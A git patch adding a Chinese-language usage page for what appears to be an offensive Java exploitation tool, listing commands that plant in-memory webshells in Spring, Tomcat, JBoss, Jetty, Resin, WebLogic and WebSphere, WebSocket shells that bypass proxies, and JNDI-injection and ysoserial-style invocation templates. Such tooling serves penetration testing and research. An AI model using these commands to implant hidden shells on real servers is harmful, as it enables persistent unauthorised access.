From 7086099d69f6c2e26134a43b52597016b7c54da6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Thu, 10 Oct 2024 19:44:54 +0800 Subject: [PATCH] =?UTF-8?q?Created=2010=E3=80=81Java=20Mem=20Shell=20(mark?= =?UTF-8?q?down)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 10、Java-Mem-Shell.md | 49 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 10、Java-Mem-Shell.md diff --git a/10、Java-Mem-Shell.md b/10、Java-Mem-Shell.md new file mode 100644 index 0000000..b57300d --- /dev/null +++ b/10、Java-Mem-Shell.md @@ -0,0 +1,49 @@ +# 使用参数 + +解决 Shiro Header 头部过长问题: + +- 命令 `EX-DefineClassFromParameter`:从 request 中获取指定参数的值进行类加载 + +在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转 +从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2 + +内存马: + +- 命令 `EX-MS-SpringInterceptorMS-...`:向系统内植入 Spring 拦截器类型的内存马 +- 命令 `EX-MS-SpringControllerMS-...`:向系统内植入 Spring Controller 类型的内存马 +- 命令 `EX-MS-SpringWebfluxMS-...`:向系统内植入 Spring WebFilter 类型的内存马(仅支持 gz 及 cmd) +- 命令 `EX-MS-TFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Filter 型内存马 +- 命令 `EX-MS-TFMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Filter 型内存马 +- 命令 `EX-MS-TFMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Filter 型内存马 +- 命令 `EX-MS-TLMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Listener 型内存马 +- 命令 `EX-MS-TSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Servlet 型内存马 +- 命令 `EX-MS-TSMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Servlet 型内存马 +- 命令 `EX-MS-TSMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Servlet 型内存马 +- 命令 `EX-MS-JBFMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Filter 型内存马 +- 命令 `EX-MS-JBSMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Servlet 型内存马 +- 命令 `EX-MS-JFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Filter 型内存马 +- 命令 `EX-MS-JSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Servlet 型内存马 +- 命令 `EX-MS-RFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Filter 型内存马 +- 命令 `EX-MS-RSMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Servlet 型内存马 +- 命令 `EX-MS-WSFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Websphere Filter 型内存马 +- 命令 `EX-MS-RMIBindTemplate-...`:RMI 型内存马 +- 命令 ```cmsMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x` +- 命令 ```proxyMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x` +- 命令 ```WsResin```: 适配 Resin 的 WebSocket 马,请求头中`Upgrade: websocket` +- 命令 ```MsTSJser```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/cmd` +- 命令 ```MsTSJproxy```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/proxy` +- 命令 ```WsWeblogic```: 适配 Weblogic 的 WebSocket 马,路径`/path` +- 命令 ```WSWebsphereProxy```: 适配 Websphere 的 WebSocket 马,路径`/path` + +# 用法示例 + ++ JNDI-Injection-Exploit 用法: ++ shell后可以加额外参数,需要base64编码,参数具体看1.5 +``` +ldap://127.0.0.1:1389/[Controller]/[M-EX-MS-MemShellClass-...]/shell/base64params +``` + ++ ysoserial +``` +java -jar JYso-[version].jar -y -g [Gadget] -p "[EX-MS-MemShellClass]" +``` \ No newline at end of file